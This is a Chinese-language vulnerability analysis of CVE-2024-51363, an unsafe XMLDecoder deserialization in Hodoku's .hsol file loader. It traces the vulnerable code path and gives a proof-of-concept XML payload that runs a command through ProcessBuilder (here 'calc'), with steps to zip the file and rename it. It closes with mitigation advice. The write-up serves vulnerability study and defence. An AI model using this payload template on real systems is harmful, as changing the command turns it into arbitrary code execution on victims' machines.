Hodoku 反序列化RCE漏洞分析(CVE-2024-51363)
字数 609 2025-08-22 12:22:42
Hodoku反序列化RCE漏洞分析(CVE-2024-51363) 教学文档
漏洞概述
Hodoku软件存在一个XML反序列化漏洞(CVE-2024-51363),攻击者可以通过构造恶意的.hsol文件实现远程代码执行(RCE)。
漏洞原理
该漏洞源于Hodoku在处理.hsol文件时使用了不安全的XML反序列化操作,攻击者可以通过构造恶意的XML数据来执行任意代码。
漏洞触发路径
完整的漏洞触发链如下:
initComponents()
→ loadPuzzleMenuItemActionPerformed()
→ loadFromFile()
→ loadFromFile()
关键代码分析
漏洞位于loadFromFile方法中,关键代码如下:
if (fileType == 1) {
ZipInputStream zIn = new ZipInputStream(new FileInputStream(path));
zIn.getNextEntry();
XMLDecoder in = new XMLDecoder(zIn);
GuiState state = new GuiState(this.sudokuPanel, this.sudokuPanel.getSolver(), this.solutionPanel);
Object sudokuTemp = in.readObject(); // 漏洞点:不安全的XML反序列化
...
}
漏洞利用条件
- 文件类型(fileType)必须为1
- 文件扩展名应为.hsol
- 文件内容为ZIP压缩的XML格式数据
漏洞利用步骤
1. 构造恶意XML
创建包含恶意命令的XML文件,例如:
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
2. 压缩文件
将上述XML文件使用ZIP格式压缩
3. 修改扩展名
将压缩后的文件扩展名改为.hsol
防御建议
- 避免使用XMLDecoder进行反序列化操作
- 如果必须使用XMLDecoder,应实现输入验证和过滤
- 使用白名单机制限制反序列化的类
- 更新到修复后的版本
技术要点总结
- 漏洞类型:不安全的XML反序列化导致的RCE
- 触发方式:通过加载恶意构造的.hsol文件
- 关键类:XMLDecoder
- 利用条件:控制.hsol文件内容
- 影响:可导致任意代码执行
参考
原始漏洞分析来自先知社区,作者:赛博韭菜,发布时间:2024-12-10